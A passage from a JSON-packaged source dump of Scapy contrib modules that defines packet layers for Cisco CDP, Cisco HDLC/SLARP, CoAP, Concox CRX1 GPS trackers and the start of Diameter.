[\"Bit%d\" % x for x in range(25, 0, -1)]\n\n\nclass CDPMsgCapabilities(CDPMsgGeneric):\n    name = \"Capabilities\"\n    fields_desc = [XShortEnumField(\"type\", 0x0004, _cdp_tlv_types),\n                   ShortField(\"len\", 8),\n                   FlagsField(\"cap\", 0, 32, _cdp_capabilities)]\n\n\nclass CDPMsgSoftwareVersion(CDPMsgGeneric):\n    name = \"Software Version\"\n    type = 0x0005\n\n\nclass CDPMsgPlatform(CDPMsgGeneric):\n    name = \"Platform\"\n    type = 0x0006\n\n\n_cdp_duplex = {0x00: \"Half\", 0x01: \"Full\"}\n\n# ODR Routing\n\n\nclass CDPMsgIPGateway(CDPMsgGeneric):\n    name = \"IP Gateway\"\n    type = 0x0007\n    fields_desc = [XShortEnumField(\"type\", 0x0007, _cdp_tlv_types),\n                   ShortField(\"len\", 8),\n                   IPField(\"defaultgw\", \"192.168.0.1\")]\n\n\nclass CDPIPPrefix(Packet):\n    fields_desc = [\n        IPField(\"prefix\", \"192.168.0.1\"),\n        ByteField(\"plen\", 24),\n    ]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass CDPMsgIPPrefix(CDPMsgGeneric):\n    name = \"IP Prefix\"\n    type = 0x0007\n    fields_desc = [XShortEnumField(\"type\", 0x0007, _cdp_tlv_types),\n                   ShortField(\"len\", 9),\n                   PacketListField(\"prefixes\", [], CDPIPPrefix,\n                                   length_from=lambda p: p.len - 4)]\n\n\nclass CDPMsgProtoHello(CDPMsgGeneric):\n    name = \"Protocol Hello\"\n    type = 0x0008\n    fields_desc = [XShortEnumField(\"type\", 0x0008, _cdp_tlv_types),\n                   ShortField(\"len\", 32),\n                   OUIField(\"oui\", 0x00000c),\n                   XShortField(\"protocol_id\", 0x0),\n                   # TLV length (len) - 2 (type) - 2 (len) - 3 (OUI) - 2\n                   # (Protocol ID)\n                   StrLenField(\"data\", \"\", length_from=lambda p: p.len - 9)]\n\n\nclass CDPMsgVTPMgmtDomain(CDPMsgGeneric):\n    name = \"VTP Management Domain\"\n    type = 0x0009\n\n\nclass CDPMsgNativeVLAN(CDPMsgGeneric):\n    name = \"Native VLAN\"\n    fields_desc = [XShortEnumField(\"type\", 0x000a, _cdp_tlv_types),\n                   ShortField(\"len\", 6),\n                   ShortField(\"vlan\", 1)]\n\n\nclass CDPMsgDuplex(CDPMsgGeneric):\n    name = \"Duplex\"\n    fields_desc = [XShortEnumField(\"type\", 0x000b, _cdp_tlv_types),\n                   ShortField(\"len\", 5),\n                   ByteEnumField(\"duplex\", 0x00, _cdp_duplex)]\n\n\nclass CDPMsgVoIPVLANReply(CDPMsgGeneric):\n    name = \"VoIP VLAN Reply\"\n    fields_desc = [XShortEnumField(\"type\", 0x000e, _cdp_tlv_types),\n                   ShortField(\"len\", 7),\n                   ByteField(\"status\", 1),\n                   ShortField(\"vlan\", 1)]\n\n\nclass CDPMsgVoIPVLANQuery(CDPMsgGeneric):\n    name = \"VoIP VLAN Query\"\n    type = 0x000f\n    fields_desc = [XShortEnumField(\"type\", 0x000f, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"unknown2\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 7),\n                   XByteField(\"unknown1\", 0),\n                   ShortField(\"vlan\", 1),\n                   # TLV length (len) - 2 (type) - 2 (len) - 1 (unknown1) - 2 (vlan)  # noqa: E501\n                   StrLenField(\"unknown2\", \"\", length_from=lambda p: p.len - 7,\n                               max_length=65528)]\n\n\nclass _CDPPowerField(ShortField):\n    def i2repr(self, pkt, x):\n        if x is None:\n            x = 0\n        return \"%d mW\" % x\n\n\nclass CDPMsgPower(CDPMsgGeneric):\n    name = \"Power\"\n    # Check if field length is fixed (2 bytes)\n    fields_desc = [XShortEnumField(\"type\", 0x0010, _cdp_tlv_types),\n                   ShortField(\"len\", 6),\n                   _CDPPowerField(\"power\", 1337)]\n\n\nclass CDPMsgMTU(CDPMsgGeneric):\n    name = \"MTU\"\n    # Check if field length is fixed (2 bytes)\n    fields_desc = [XShortEnumField(\"type\", 0x0011, _cdp_tlv_types),\n                   ShortField(\"len\", 6),\n                   ShortField(\"mtu\", 1500)]\n\n\nclass CDPMsgTrustBitmap(CDPMsgGeneric):\n    name = \"Trust Bitmap\"\n    fields_desc = [XShortEnumField(\"type\", 0x0012, _cdp_tlv_types),\n                   ShortField(\"len\", 5),\n                   XByteField(\"trust_bitmap\", 0x0)]\n\n\nclass CDPMsgUntrustedPortCoS(CDPMsgGeneric):\n    name = \"Untrusted Port CoS\"\n    fields_desc = [XShortEnumField(\"type\", 0x0013, _cdp_tlv_types),\n                   ShortField(\"len\", 5),\n                   XByteField(\"untrusted_port_cos\", 0x0)]\n\n\nclass CDPMsgMgmtAddr(CDPMsgAddr):\n    name = \"Management Address\"\n    type = 0x0016\n\n\nclass CDPMsgPowerRequest(CDPMsgGeneric):\n    name = \"Power Request\"\n    fields_desc = [XShortEnumField(\"type\", 0x0019, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"power_requested_list\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 8),\n                   ShortField(\"req_id\", 0),\n                   ShortField(\"mgmt_id\", 0),\n                   FieldListField(\"power_requested_list\", [],\n                                  IntField(\"power_requested\", 0),\n                                  count_from=lambda pkt: (pkt.len - 8) // 4)]\n\n\nclass CDPMsgPowerAvailable(CDPMsgGeneric):\n    name = \"Power Available\"\n    fields_desc = [XShortEnumField(\"type\", 0x001a, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"power_available_list\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 8),\n                   ShortField(\"req_id\", 0),\n                   ShortField(\"mgmt_id\", 0),\n                   FieldListField(\"power_available_list\", [],\n                                  IntField(\"power_available\", 0),\n                                  count_from=lambda pkt: (pkt.len - 8) // 4)]\n\n\nclass CDPMsg(CDPMsgGeneric):\n    name = \"CDP \"\n    fields_desc = [XShortEnumField(\"type\", None, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"val\", fmt=\"!H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   StrLenField(\"val\", \"\", length_from=lambda x:x.len - 4,\n                               max_length=65531)]\n\n\nclass _CDPChecksum:\n    def _check_len(self, pkt):\n        \"\"\"Check for odd packet length and pad according to Cisco spec.\n        This padding is only used for checksum computation.  The original\n        packet should not be altered.\"\"\"\n        if len(pkt) % 2:\n            last_chr = orb(pkt[-1])\n            if last_chr <= 0x80:\n                return pkt[:-1] + b'\\x00' + chb(last_chr)\n            else:\n                return pkt[:-1] + b'\\xff' + chb(orb(last_chr) - 1)\n        else:\n            return pkt\n\n    def post_build(self, pkt, pay):\n        p = pkt + pay\n        if self.cksum is None:\n            cksum = checksum(self._check_len(p))\n            p = p[:2] + struct.pack(\"!H\", cksum) + p[4:]\n        return p\n\n\nclass CDPv2_HDR(_CDPChecksum, CDPMsgGeneric):\n    name = \"Cisco Discovery Protocol version 2\"\n    fields_desc = [ByteField(\"vers\", 2),\n                   ByteField(\"ttl\", 180),\n                   XShortField(\"cksum\", None),\n                   PacketListField(\"msg\", [], _CDPGuessPayloadClass)]\n\n\nbind_layers(SNAP, CDPv2_HDR, {\"code\": 0x2000, \"OUI\": 0xC})\n"
  },
  {
    "path": "scapy/contrib/chdlc.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Cisco HDLC and SLARP\n# scapy.contrib.status = loads\n\n# This layer is based on information from http://www.nethelp.no/net/cisco-hdlc.txt  # noqa: E501\n\nfrom scapy.data import DLT_C_HDLC\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ByteEnumField, ByteField, ConditionalField, \\\n    IntEnumField, IntField, IPField, XShortField\nfrom scapy.layers.l2 import Dot3, STP\nfrom scapy.layers.inet import IP\nfrom scapy.layers.inet6 import IPv6\nfrom scapy.config import conf\n\n\nclass CHDLC(Packet):\n    name = \"Cisco HDLC\"\n    fields_desc = [ByteEnumField(\"address\", 0x0f, {0x0f: \"unicast\", 0x8f: \"multicast\"}),  # noqa: E501\n                   ByteField(\"control\", 0),\n                   XShortField(\"proto\", 0x0800)]\n\n\nclass SLARP(Packet):\n    name = \"SLARP\"\n    fields_desc = [IntEnumField(\"type\", 2, {0: \"request\", 1: \"reply\", 2: \"line keepalive\"}),  # noqa: E501\n                   ConditionalField(IPField(\"address\", \"192.168.0.1\"),\n                                    lambda pkt: pkt.type == 0 or pkt.type == 1),  # noqa: E501\n                   ConditionalField(IPField(\"mask\", \"255.255.255.0\"),\n                                    lambda pkt: pkt.type == 0 or pkt.type == 1),  # noqa: E501\n                   ConditionalField(XShortField(\"unused\", 0),\n                                    lambda pkt: pkt.type == 0 or pkt.type == 1),  # noqa: E501\n                   ConditionalField(IntField(\"mysequence\", 0),\n                                    lambda pkt: pkt.type == 2),\n                   ConditionalField(IntField(\"yoursequence\", 0),\n                                    lambda pkt: pkt.type == 2),\n                   ConditionalField(XShortField(\"reliability\", 0xffff),\n                                    lambda pkt: pkt.type == 2)]\n\n\nbind_layers(CHDLC, Dot3, proto=0x6558)\nbind_layers(CHDLC, IP, proto=0x800)\nbind_layers(CHDLC, IPv6, proto=0x86dd)\nbind_layers(CHDLC, SLARP, proto=0x8035)\nbind_layers(CHDLC, STP, proto=0x4242)\n\nconf.l2types.register(DLT_C_HDLC, CHDLC)\n"
  },
  {
    "path": "scapy/contrib/coap.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2016 Anmol Sarma <me@anmolsarma.in>\n\n# scapy.contrib.description = Constrained Application Protocol (CoAP)\n# scapy.contrib.status = loads\n\n\"\"\"\nRFC 7252 - Constrained Application Protocol (CoAP) layer for Scapy\n\"\"\"\n\nimport struct\n\nfrom scapy.fields import BitEnumField, BitField, BitFieldLenField, \\\n    ByteEnumField, ShortField, StrField, StrLenField\nfrom scapy.layers.inet import UDP\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.error import warning\nfrom scapy.compat import raw\n\ncoap_codes = {\n    0: \"Empty\",\n    # Request codes\n    1: \"GET\",\n    2: \"POST\",\n    3: \"PUT\",\n    4: \"DELETE\",\n    # Response codes\n    65: \"2.01 Created\",\n    66: \"2.02 Deleted\",\n    67: \"2.03 Valid\",\n    68: \"2.04 Changed\",\n    69: \"2.05 Content\",\n    128: \"4.00 Bad Request\",\n    129: \"4.01 Unauthorized\",\n    130: \"4.02 Bad Option\",\n    131: \"4.03 Forbidden\",\n    132: \"4.04 Not Found\",\n    133: \"4.05 Method Not Allowed\",\n    134: \"4.06 Not Acceptable\",\n    140: \"4.12 Precondition Failed\",\n    141: \"4.13 Request Entity Too Large\",\n    143: \"4.15 Unsupported Content-Format\",\n    160: \"5.00 Internal Server Error\",\n    161: \"5.01 Not Implemented\",\n    162: \"5.02 Bad Gateway\",\n    163: \"5.03 Service Unavailable\",\n    164: \"5.04 Gateway Timeout\",\n    165: \"Proxying Not Supported\"}\n\ncoap_options = ({\n    1: \"If-Match\",\n    3: \"Uri-Host\",\n    4: \"ETag\",\n    5: \"If-None-Match\",\n    7: \"Uri-Port\",\n    8: \"Location-Path\",\n    11: \"Uri-Path\",\n    12: \"Content-Format\",\n    14: \"Max-Age\",\n    15: \"Uri-Query\",\n    17: \"Accept\",\n    20: \"Location-Query\",\n    35: \"Proxy-Uri\",\n    39: \"Proxy-Scheme\",\n    60: \"Size1\"\n},\n    {\n    \"If-Match\": 1,\n    \"Uri-Host\": 3,\n    \"ETag\": 4,\n    \"If-None-Match\": 5,\n    \"Uri-Port\": 7,\n    \"Location-Path\": 8,\n    \"Uri-Path\": 11,\n    \"Content-Format\": 12,\n    \"Max-Age\": 14,\n    \"Uri-Query\": 15,\n    \"Accept\": 17,\n    \"Location-Query\": 20,\n    \"Proxy-Uri\": 35,\n    \"Proxy-Scheme\": 39,\n    \"Size1\": 60\n})\n\n\ndef _get_ext_field_size(val):\n    if val >= 15:\n        warning(\"Invalid Option Delta or Length\")\n    if val == 14:\n        return 2\n    if val == 13:\n        return 1\n    return 0\n\n\ndef _get_delta_ext_size(pkt):\n    return _get_ext_field_size(pkt.delta)\n\n\ndef _get_len_ext_size(pkt):\n    return _get_ext_field_size(pkt.len)\n\n\ndef _get_abs_val(val, ext_val):\n    if val >= 15:\n        warning(\"Invalid Option Length or Delta %d\" % val)\n    if val == 14:\n        return 269 + struct.unpack('!H', ext_val)[0]\n    if val == 13:\n        return 13 + struct.unpack('B', ext_val)[0]\n    return val\n\n\ndef _get_opt_val_size(pkt):\n    return _get_abs_val(pkt.len, pkt.len_ext)\n\n\nclass _CoAPOpt(Packet):\n    fields_desc = [BitField(\"delta\", 0, 4),\n                   BitField(\"len\", 0, 4),\n                   StrLenField(\"delta_ext\", \"\", length_from=_get_delta_ext_size),  # noqa: E501\n                   StrLenField(\"len_ext\", \"\", length_from=_get_len_ext_size),\n                   StrLenField(\"opt_val\", \"\", length_from=_get_opt_val_size)]\n\n    @staticmethod\n    def _populate_extended(val):\n        if val >= 269:\n            return struct.pack('!H', val - 269), 14\n        if val >= 13:\n            return struct.pack('B', val - 13), 13\n        return None, val\n\n    def do_build(self):\n        self.delta_ext, self.delta = self._populate_extended(self.delta)\n        self.len_ext, self.len = self._populate_extended(len(self.opt_val))\n\n        return Packet.do_build(self)\n\n    def guess_payload_class(self, payload):\n        if payload[:1] != b\"\\xff\":\n            return _CoAPOpt\n        else:\n            return Packet.guess_payload_class(self, payload)\n\n\nclass _CoAPOptsField(StrField):\n    islist = 1\n\n    def i2h(self, pkt, x):\n        return [(coap_options[0][o[0]], o[1]) if o[0] in coap_options[0] else o for o in x]  # noqa: E501\n\n    # consume only the coap layer from the wire string\n    def getfield(self, pkt, s):\n        opts = self.m2i(pkt, s)\n        used = 0\n        for o in opts:\n            used += o[0]\n        return s[used:], [(o[1], o[2]) for o in opts]\n\n    def m2i(self, pkt, x):\n        opts = []\n        o = _CoAPOpt(x)\n        cur_delta = 0\n        while isinstance(o, _CoAPOpt):\n            cur_delta += _get_abs_val(o.delta, o.delta_ext)\n            # size of this option in bytes\n            u = 1 + len(o.opt_val) + len(o.delta_ext) + len(o.len_ext)\n            opts.append((u, cur_delta, o.opt_val))\n            o = o.payload\n        return opts\n\n    def i2m(self, pkt, x):\n        if not x:\n            return b\"\"\n        opt_lst = []\n        for o in x:\n            if isinstance(o[0], str):\n                opt_lst.append((coap_options[1][o[0]], o[1]))\n            else:\n                opt_lst.append(o)\n        opt_lst.sort(key=lambda o: o[0])\n\n        opts = _CoAPOpt(delta=opt_lst[0][0], opt_val=opt_lst[0][1])\n        high_opt = opt_lst[0][0]\n        for o in opt_lst[1:]:\n            opts = opts / _CoAPOpt(delta=o[0] - high_opt, opt_val=o[1])\n            high_opt = o[0]\n\n        return raw(opts)\n\n\nclass _CoAPPaymark(StrField):\n\n    def i2h(self, pkt, x):\n        return x\n\n    def getfield(self, pkt, s):\n        (u, m) = self.m2i(pkt, s)\n        return s[u:], m\n\n    def m2i(self, pkt, x):\n        if len(x) > 0 and x[:1] == b\"\\xff\":\n            return 1, b'\\xff'\n        return 0, b''\n\n    def i2m(self, pkt, x):\n        return x\n\n\nclass CoAP(Packet):\n    __slots__ = [\"content_format\"]\n    name = \"CoAP\"\n\n    fields_desc = [BitField(\"ver\", 1, 2),\n                   BitEnumField(\"type\", 0, 2, {0: \"CON\", 1: \"NON\", 2: \"ACK\", 3: \"RST\"}),  # noqa: E501\n                   BitFieldLenField(\"tkl\", None, 4, length_of='token'),\n                   ByteEnumField(\"code\", 0, coap_codes),\n                   ShortField(\"msg_id\", 0),\n                   StrLenField(\"token\", \"\", length_from=lambda pkt: pkt.tkl),\n                   _CoAPOptsField(\"options\", []),\n                   _CoAPPaymark(\"paymark\", b\"\")\n                   ]\n\n    def getfieldval(self, attr):\n        v = getattr(self, attr)\n        if v:\n            return v\n        return Packet.getfieldval(self, attr)\n\n    def post_dissect(self, pay):\n        for k in self.options:\n            if k[0] == \"Content-Format\":\n                self.content_format = k[1]\n        return pay\n\n\nbind_layers(UDP, CoAP, sport=5683)\nbind_layers(UDP, CoAP, dport=5683)\n"
  },
  {
    "path": "scapy/contrib/concox.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2019 Juciano Cardoso <cjuciano@gmail.com>\n#               2019 Guillaume Valadon <guillaume.valadon@netatmo.com>\n\n# scapy.contrib.description = Concox CRX1 unit tests\n# scapy.contrib.status = loads\n\nimport binascii\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.layers.inet import TCP, UDP\nfrom scapy.fields import BitField, BitEnumField, X3BytesField, ShortField, \\\n    XShortField, FieldLenField, PacketLenField, XByteField, XByteEnumField, \\\n    ByteEnumField, StrFixedLenField, ConditionalField, FlagsField, ByteField, \\\n    IntField, XIntField, StrLenField, ScalingField\n\nPROTOCOL_NUMBERS = {\n    0x01: 'LOGIN MESSAGE',\n    0x13: 'HEARTBEAT',\n    0x12: 'LOCATION',\n    0x16: 'ALARM',\n    0x80: 'ONLINE COMMAND',\n    0x15: 'ONLINE COMMAND REPLYED',\n    0x94: 'INFORMATION TRANSMISSION',\n}\n\nSUBPROTOCOL_NUMBERS = {\n    0x00: \"EXTERNAL POWER VOLTAGE\",\n    0x04: \"TERMINAL STATUS SYNCHRONIZATION\",\n    0x05: \"DOOR STATUS\",\n}\n\nVOLTAGE_LEVELS = {\n    0x00: \"No Power (Shutdown)\",\n    0x01: \"Extremely Low Battery\",\n    0x02: \"Very Low Battery\",\n    0x03: \"Low Battery\",\n    0x04: \"Medium\",\n    0x05: \"High\",\n    0x06: \"Very High\",\n}\n\nGSM_SIGNAL_STRENGTH = {\n    0x00: \"No Signal\",\n    0x01: \"Extremely Weak Signal\",\n    0x02: \"Very Weak Signal\",\n    0x03: \"Good Signal\",\n    0x04: \"Strong Signal\",\n}\n\nLANGUAGE = {\n    0x01: \"Chinese\",\n    0x02: \"English\",\n}\n\n\nclass BCDStrFixedLenField(StrFixedLenField):\n    def i2h(self, pkt, x):\n        if isinstance(x, bytes):\n            return binascii.b2a_hex(x)\n        return binascii.a2b_hex(x)\n\n\nclass CRX1NewPacketContent(Packet):\n    name = \"CRX1 New Packet Content\"\n    fields_desc = [\n        XByteEnumField('protocol_number', 0x12, PROTOCOL_NUMBERS),\n        # Login\n        ConditionalField(\n            BCDStrFixedLenField('terminal_id', '00000000', length=8), lambda\n            pkt: len(pkt.original) > 5 and pkt.protocol_number == 0x01),\n        # GPS Location\n        ConditionalField(\n            ByteField('year', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('month', 0x01), lambda pkt: len(pkt.original) > 5 and pkt\n            .protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('day', 0x01), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('hour', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('minute', 0x00), lambda pkt: len(pkt.original) > 5 and\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('second', 0x00), lambda pkt: len(pkt.original) > 5 and\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            BitField('gps_information_length', 0x00, 4), lambda pkt: len(\n                pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            BitField('positioning_satellite_number', 0x00, 4), lambda pkt: len(\n                pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ScalingField('latitude', 0x00,\n                         scaling=1.0 / 1800000, ndigits=6, fmt=\"!I\"),\n            lambda pkt: len(pkt.original) > 5 and \\\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ScalingField('longitude', 0x00,\n                         scaling=1.0 / 1800000, ndigits=6, fmt=\"!I\"),\n            lambda pkt: len(pkt.original) > 5 and \\\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('speed', 0x00), lambda pkt: len(pkt.original) > 5 and pkt\n            .protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            BitField('course', 0x00, 10), lambda pkt: len(pkt.original) > 5 and\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            BitEnumField('latitude_hemisphere', 0x00, 1, {\n                0: \"South\",\n                1: \"North\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x12, 0x16)),\n        ConditionalField(\n            BitEnumField('longitude_hemisphere', 0x00, 1, {\n                0: \"East\",\n                1: \"West\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x12, 0x16)),\n        ConditionalField(\n            BitEnumField('gps_been_positioning', 0x00, 1, {\n                0: \"No\",\n                1: \"Yes\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x12, 0x16)),\n        ConditionalField(\n            BitEnumField('gps_status', 0x00, 1, {\n                0: \"GPS real-time\",\n                1: \"Differential positioning\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x12, 0x16)),\n        ConditionalField(\n            BitField('course_status_reserved', 0x00, 2), lambda pkt: len(\n                pkt.original) > 5 and pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            ByteField('lbs_length', 0x00),\n            lambda pkt: len(pkt.original) > 5 and \\\n            pkt.protocol_number in (0x16, )),\n        ConditionalField(\n            XShortField('mcc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt\n            .protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            XByteField('mnc', 0x00), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            XShortField('lac', 0x00), lambda pkt: len(pkt.original) > 5 and pkt\n            .protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            X3BytesField('cell_id', 0x00),\n            lambda pkt: len(pkt.original) > 5 and \\\n            pkt.protocol_number in (0x12, 0x16)),\n        ConditionalField(\n            IntField('mileage', 0x00), lambda pkt: len(pkt.original) > 5 and\n            pkt.protocol_number in (0x12, ) and len(pkt.original) > 31),\n        # Heartbeat\n        ConditionalField(\n            BitEnumField('defence', 0x00, 1, {\n                0: \"Deactivated\",\n                1: \"Activated\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x13, 0x16)),\n        ConditionalField(\n            BitEnumField('acc', 0x00, 1, {\n                0: \"Low\",\n                1: \"High\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x13, 0x16)),\n        ConditionalField(\n            BitEnumField('charge', 0x00, 1, {\n                0: \"Not Charge\",\n                1: \"Charging\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x13, 0x16)),\n        ConditionalField(\n            BitEnumField(\n                'alarm', 0x00, 3, {\n                    0: \"Normal\",\n                    1: \"Vibration\",\n                    2: \"Power Cut\",\n                    3: \"Low Battery\",\n                    4: \"SOS\"\n                }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number\n            in (0x13, 0x16)),\n        ConditionalField(\n            BitEnumField('gps_tracking', 0x00, 1, {\n                0: \"Not Charge\",\n                1: \"Charging\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x13, 0x16)),\n        ConditionalField(\n            BitEnumField('oil_and_eletricity', 0x00, 1, {\n                0: \"Connected\",\n                1: \"Disconnected\"\n            }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x13, 0x16)),\n        ConditionalField(\n            ByteEnumField(\"voltage_level\", 0x00, VOLTAGE_LEVELS), lambda pkt:\n            len(pkt.original) > 5 and pkt.protocol_number in (0x13, 0x16)),\n        ConditionalField(\n            ByteEnumField(\"gsm_signal_strength\", 0x00,\n                          GSM_SIGNAL_STRENGTH), lambda pkt: len(pkt.original) >\n            5 and pkt.protocol_number in (0x13, 0x16)),\n        # Online Command\n        ConditionalField(\n            FieldLenField('command_length',\n                          None,\n                          fmt='B',\n                          length_of=\"command_content\"), lambda pkt:\n            len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)),\n        ConditionalField(\n            XIntField('server_flag_bit', 0x00), lambda pkt: len(pkt.original) >\n            5 and pkt.protocol_number in (0x80, 0x15)),\n        ConditionalField(\n            StrLenField(\n                \"command_content\",\n                \"\",\n                length_from=lambda pkt: pkt.command_length - 4), lambda pkt:\n            len(pkt.original) > 5 and pkt.protocol_number in (0x80, 0x15)),\n        # Common\n        ConditionalField(\n            ByteEnumField(\n                \"alarm_extended\", 0x00, {\n                    0x00: \"Normal\",\n                    0x01: \"SOS\",\n                    0x02: \"Power cut\",\n                    0x03: \"Vibration\",\n                    0x04: \"Enter fence\",\n                    0x05: \"Exit fence\",\n                    0x06: \"Over speed\",\n                    0x09: \"Displacement\",\n                    0x0a: \"Enter GPS dead zone\",\n                    0x0b: \"Exit GPS dead zone\",\n                    0x0c: \"Power on\",\n                    0x0d: \"GPS First fix notice\",\n                    0x0e: \"Low battery\",\n                    0x0f: \"Low battery protection\",\n                    0x10: \"SIM Change\",\n                    0x11: \"Power off\",\n                    0x12: \"Airplane mode\",\n                    0x13: \"Disassemble\",\n                    0x14: \"Door\",\n                    0xfe: \"ACC On\",\n                    0xff: \"ACC Off\",\n                }), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number\n            in (0x13, 0x15, 0x16)),\n        ConditionalField(\n            ByteEnumField(\"language\", 0x00,\n                          LANGUAGE), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x13, 0x15, 0x16)),\n        # Information transmission\n        ConditionalField(\n            ByteEnumField(\"subprotocol_number\", 0x00,\n                          SUBPROTOCOL_NUMBERS), lambda pkt: len(pkt.original) >\n            5 and pkt.protocol_number in (0x94, )),\n        ConditionalField(\n            ShortField('external_battery',\n                       0x00), lambda pkt: len(pkt.original) > 5 and pkt.\n            protocol_number in (0x94, ) and pkt.subprotocol_number == 0x00),\n        ConditionalField(\n            FlagsField('external_io_detection', 0x00, 8, [\n                'door_status',\n                'trigger_status',\n                'io_status',\n            ]), lambda pkt: len(pkt.original) > 5 and pkt.protocol_number in (\n                0x94, ) and pkt.subprotocol_number == 0x05),\n        # Default\n        XShortField('information_serial_number', None),\n        XShortField('crc', None),\n    ]\n\n\nclass CRX1New(Packet):\n    name = \"CRX1 New\"\n    fields_desc = [\n        XShortField('start_bit', 0x7878),\n        ConditionalField(ByteField(\n            'default_packet_length',\n            None,\n        ), lambda pkt: pkt.start_bit == 0x7878),\n        ConditionalField(ShortField(\n            'extended_packet_length',\n            None,\n        ), lambda pkt: pkt.start_bit == 0x7979),\n        ConditionalField(\n            PacketLenField('default_packet_content',\n                           None,\n                           CRX1NewPacketContent,\n                           length_from=lambda pkt: pkt.default_packet_length),\n            lambda pkt: pkt.start_bit == 0x7878),\n        ConditionalField(\n            PacketLenField('extended_packet_content',\n                           None,\n                           CRX1NewPacketContent,\n                           length_from=lambda pkt: pkt.extended_packet_length),\n            lambda pkt: pkt.start_bit == 0x7979),\n        XShortField('end_bit', 0x0d0a),\n    ]\n\n\nbind_layers(TCP, CRX1New, sport=8821, dport=8821)\nbind_layers(UDP, CRX1New, sport=8821, dport=8821)\n"
  },
  {
    "path": "scapy/contrib/diameter.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Acknowledgment: Patrick Battistello\n\n\"\"\"\nDiameter protocol implementation for Scapy\n\nThis implements the base Diameter protocol RFC6733 and the additional standards:  # noqa: E501\n    RFC7155, RFC4004, RFC4006, RFC4072, RFC4740, RFC5778, RFC5447, RFC6942, RFC5777  # noqa: E501\n    ETS29229 V12.3.0 (2014-09), ETS29272 V13.1.0 (2015-03), ETS29329 V12.5.0 (2014-12),  # noqa: E501\n    ETS29212 V13.1.0 (2015-03), ETS32299 V13.0.0 (2015-03), ETS29210 V6.7.0 (2006-12),  # noqa: E501\n    ETS29214 V13.1.0 (2015-03), ETS29273 V12.7.0 (2015-03), ETS29173 V12.3.0 (2015-03),  # noqa: E501\n    ETS29172 V12.5.0 (2015-03), ETS29215 V13.1.0 (2015-03), ETS29209 V6.8.0 (2011-09),  # noqa: E501\n    ETS29061 V13.0.0 (2015-03), ETS29219 V13.0.0 (2014-12)\n\nIMPORTANT note:\n    - Some Diameter fields (Unsigned64, Float32, ...) have not been tested yet due to lack  # noqa: E501\n        of network captures containing AVPs of that types contributions are welcomed.  # noqa: E501\n\"\"\"\n\n# scapy.contrib.description = Diameter\n# scapy.contrib.status = loads\n\nimport socket\nimport struct\nfrom time import ctime\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import ConditionalField, EnumField, Field, FieldLenField, \\\n    FlagsField, IEEEDoubleField, IEEEFloatField, IntEnumField, IntField, \\\n    LongField, PacketListField, SignedIntField, StrLenField, X3BytesField, \\\n    XByteField, XIntField\nfrom scapy.layers.inet import TCP\nfrom scapy.layers.sctp import SCTPChunkData\nfrom scapy.compat import chb, orb, raw, bytes_hex, plain_str\nfrom scapy.error import warning\nfrom scapy.utils import inet_ntoa, inet_aton\nfrom scapy.pton_ntop import inet_pton, inet_ntop\n\n#####################################################################\n#####################################################################\n#\n#       Definition of additional fields\n#\n#####################################################################\n#####################################################################\n\n\nclass I3BytesEnumField (X3BytesField, EnumField):\n    \"\"\" 3 bytes enum field 